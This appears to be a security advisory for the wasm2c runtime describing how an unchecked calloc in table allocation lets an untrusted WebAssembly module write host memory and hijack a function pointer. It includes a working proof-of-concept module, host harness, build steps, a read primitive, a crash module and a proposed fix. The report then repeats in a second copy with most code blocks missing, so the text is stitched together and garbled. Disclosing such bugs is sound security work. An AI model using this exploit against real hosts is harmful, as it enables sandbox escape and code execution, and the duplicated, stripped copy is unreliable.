Component: wasm2c runtime library (wasm2c/wasm-rt-impl-tableops.inc)
Severity: High
Status: reproducible on upstream main (commit e177dbe)
Poc: poc.sh
SUMMARY
The wasm2c runtime allocates a table with calloc and does not check the
result. When the allocation fails, table->data is NULL but table->size still
holds the requested element count. Every table bounds check in the generated
code is of the form idx < table->size, so the check passes and the code reads
or writes table->data[idx], i.e. NULL + idx * sizeof(element). A guest module
can therefore read and write host memory in the range NULL + 0 to NULL +
(2^31 - 1) * 32 bytes, and can place a real funcref (a pointer to a function
defined in the guest module) into an attacker-chosen host address. When the
host later calls through that address, guest code executes.
This is distinct from issue 2831 (tail-call uninitialised instance pointer in
src/c-writer.cc). 2831 is a code-generation bug; this one is a runtime-library
bug. Same trust boundary, different component, different mechanism.
ROOT CAUSE
File: wasm2c/wasm-rt-impl-tableops.inc, line 54
void wasm_rt_allocate_##WASM_RT_TABLE_TYPE##_table(
wasm_rt_##WASM_RT_TABLE_TYPE##_table_t* table,
wasm_rt_u32_t elements,
wasm_rt_u32_t max_elements) {
table->size = elements;
table->max_size = max_elements;
table->data = calloc(table->size, sizeof(WASM_RT_TABLE_ELEMENT_TYPE));
}
There is no NULL check on table->data. The memory path was already hardened
against exactly this failure mode (see wasm-rt-mem-impl-helper.inc, which calls
abort() on allocation failure, changed in PR 2786), but the table path was
left behind.
The single macro covers all three reference-table types (funcref, externref,
exnref), so all three are affected.
TRIGGER
-
Declare a table with a very large initial size, e.g.
(table 2000000000 4000000000 funcref)
2e9 funcref elements is 2e9 * 32 bytes = 64 GB of calloc. Under any memory
limit (ulimit -v, cgroup, container, an embedded device, or a host that
simply cannot commit 64 GB) the calloc returns NULL.
-
The module writes a funcref through an elem segment (no guest code execution
required, the write happens during instantiation), or through table.set.
Bounds check in generated code (from the DEFINE_TABLE_SET / DEFINE_TABLE_GET
macros emitted by wasm2c):
if (UNLIKELY(i >= table->size)) TRAP(OOB);
table->data[i] = val;
Because table->size is still 2000000000, the check passes and the write lands
at NULL + i * 32.
PROOF OF CONCEPT
Attacker module (t4.wat):
(module $t4
(type $int (func (result i32)))
(table $tbl 2000000000 4000000000 funcref)
(func $nul (type $int) (i32.const 42))
(elem (i32.const 8192) func $nul)
(func (export "go") (result i32) (i32.const 1)))
Host harness (f2host.c). The host maps a victim object at 0x40000, which is
exactly NULL + 8192 * 32, i.e. the address the elem segment writes to. The
host then calls whatever function pointer the guest placed there.
#include <stdio.h>
#include <sys/mman.h>
#include "t4.h"
#include "wasm-rt-impl.h"
static w2c_t4 inst;
typedef struct { unsigned long magic; unsigned long fn; } victim_t;
int main(void) {
wasm_rt_init();
void* p = mmap((void*)0x40000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (p == MAP_FAILED) { perror("mmap"); return 1; }
victim_t* v = (victim_t*)0x40000;
v->magic = 0xdead; v->fn = 0;
printf("[host] before: magic=%lx fnptr=%lx\n", v->magic, v->fn);
wasm2c_t4_instantiate(&inst); /* elem segment writes funcref to 0x40000 */
printf("[host] table data=%p size=%u\n", (void*)inst.w2c_T0.data, inst.w2c_T0.size);
printf("[host] after: magic=%lx fnptr=%lx\n", v->magic, v->fn);
typedef int (*hostcall_t)(void);
if (v->fn && ((hostcall_t)v->fn)() == 42) {
printf("[!!!] PASSED: guest placed $nul into host slot; host called it -> 42\n");
return 0;
}
return 2;
}
Build and run:
```
wat2wasm t4.wat -o t4.wasm
wasm2c t4.wasm -o t4.c -n t4
gcc -O0 -c wasm2c/wasm-rt-impl.c -I wasm2c -o rt1.o
gcc -O0 -c wasm2c/wasm-rt-exceptions-impl.c -I wasm2c -o rt2.o
gcc -O0 -c wasm2c/wasm-rt-mem-impl.c -I wasm2c -o rt3.o
ar rcs librt.a rt1.o rt2.o rt3.o
gcc -O0 -g f2host.c t4.c librt.a -lpthread -lm -I wasm2c -o f2_hijack
ulimit -v 2000000 # force the 64GB calloc to fail
./f2_hijack
Output (smoking gun):
[host] before: magic=dead fnptr=0
[host] table data=(nil) size=2000000000
[host] after: magic=55dab47c5120 fnptr=55dab47c3a9a
[!!!] PASSED: guest placed $nul into host slot; host called it -> 42
Interpretation:
table->data is NULL, table->size is 2000000000. The elem segment writes the
funcref for $nul into table->data[8192] == NULL + 8192*32 == 0x40000, which
is the host victim object. The magic field is overwritten by the funcref
func_type pointer (a .rodata address, leaking the ASLR base), and the fn
field is overwritten by the function pointer to the guest function $nul.
The host then calls that pointer and the guest function runs, returning 42.
READ PRIMITIVE
The same broken invariant gives a read primitive through table.get:
```
(module $rd
(table $tbl 2000000000 4000000000 funcref)
(func (export "probe") (param i32) (result i32)
(ref.is_null (table.get $tbl (local.get 0)))))
With the host victim object mapped at 0x40000, probe(8192) reads 0x40000 and
returns 0 when the host has placed a non-null funcref there, and 1 after the
host clears it. A separate harness (rdhost.c) demonstrates this, confirming
the guest can distinguish host memory contents at an attacker-chosen offset.
DENIAL OF SERVICE
A module that only performs table.set with a large index (t.wat) crashes the
host process with a write to NULL + offset:
(module $t
(table $tbl 2000000000 4000000000 funcref)
(func $boom (export "boom") (param i32)
(table.set $tbl (local.get 0) (ref.null func))))
calling boom(1000000) writes to NULL + 32000000 and terminates the process.
Even without the write/read/exec primitives above, this is a host DoS from an
untrusted guest module.
AFFECTED TYPES
All three reference-table types use the same macro template in
wasm-rt-impl-tableops.inc and are affected identically:
funcref wasm_rt_allocate_funcref_table
externref wasm_rt_allocate_externref_table
exnref wasm_rt_allocate_exnref_table
PROPOSED FIX
Match the memory path: check the result and abort() (or otherwise fail
closed) so that size/data stay consistent and bounds checks cannot pass
against a NULL buffer.
table->data = calloc(table->size, sizeof(WASM_RT_TABLE_ELEMENT_TYPE));
if (!table->data) {
table->size = table->max_size = 0;
fprintf(stderr, "runtime error: out of memory allocating table\n");
abort();
}
Component: wasm2c runtime library (wasm2c/wasm-rt-impl-tableops.inc)
Severity: High
Status: reproducible on upstream main (commit e177dbe)
Poc: poc.sh
SUMMARY
The wasm2c runtime allocates a table with calloc and does not check the
result. When the allocation fails, table->data is NULL but table->size still
holds the requested element count. Every table bounds check in the generated
code is of the form idx < table->size, so the check passes and the code reads
or writes table->data[idx], i.e. NULL + idx * sizeof(element). A guest module
can therefore read and write host memory in the range NULL + 0 to NULL +
(2^31 - 1) * 32 bytes, and can place a real funcref (a pointer to a function
defined in the guest module) into an attacker-chosen host address. When the
host later calls through that address, guest code executes.
This is distinct from issue 2831 (tail-call uninitialised instance pointer in
src/c-writer.cc). 2831 is a code-generation bug; this one is a runtime-library
bug. Same trust boundary, different component, different mechanism.
ROOT CAUSE
File: wasm2c/wasm-rt-impl-tableops.inc, line 54
There is no NULL check on table->data. The memory path was already hardened
against exactly this failure mode (see wasm-rt-mem-impl-helper.inc, which calls
abort() on allocation failure, changed in PR 2786), but the table path was
left behind.
The single macro covers all three reference-table types (funcref, externref,
exnref), so all three are affected.
TRIGGER
Declare a table with a very large initial size, e.g.
2e9 funcref elements is 2e9 * 32 bytes = 64 GB of calloc. Under any memory
limit (ulimit -v, cgroup, container, an embedded device, or a host that
simply cannot commit 64 GB) the calloc returns NULL.
The module writes a funcref through an elem segment (no guest code execution
required, the write happens during instantiation), or through table.set.
Bounds check in generated code (from the DEFINE_TABLE_SET / DEFINE_TABLE_GET
macros emitted by wasm2c):
Because table->size is still 2000000000, the check passes and the write lands
at NULL + i * 32.
PROOF OF CONCEPT
Attacker module (t4.wat):
Host harness (f2host.c). The host maps a victim object at 0x40000, which is
exactly NULL + 8192 * 32, i.e. the address the elem segment writes to. The
host then calls whatever function pointer the guest placed there.
#include <stdio.h>
#include <sys/mman.h>
#include "t4.h"
#include "wasm-rt-impl.h"
Output (smoking gun):
[host] before: magic=dead fnptr=0
[host] table data=(nil) size=2000000000
[host] after: magic=55dab47c5120 fnptr=55dab47c3a9a
[!!!] PASSED: guest placed $nul into host slot; host called it -> 42
With the host victim object mapped at 0x40000, probe(8192) reads 0x40000 and
returns 0 when the host has placed a non-null funcref there, and 1 after the
host clears it. A separate harness (rdhost.c) demonstrates this, confirming
the guest can distinguish host memory contents at an attacker-chosen offset.
DENIAL OF SERVICE
A module that only performs table.set with a large index (t.wat) crashes the
host process with a write to NULL + offset:
calling boom(1000000) writes to NULL + 32000000 and terminates the process.
Even without the write/read/exec primitives above, this is a host DoS from an
untrusted guest module.
AFFECTED TYPES
All three reference-table types use the same macro template in
wasm-rt-impl-tableops.inc and are affected identically:
PROPOSED FIX
Match the memory path: check the result and abort() (or otherwise fail
closed) so that size/data stay consistent and bounds checks cannot pass
against a NULL buffer.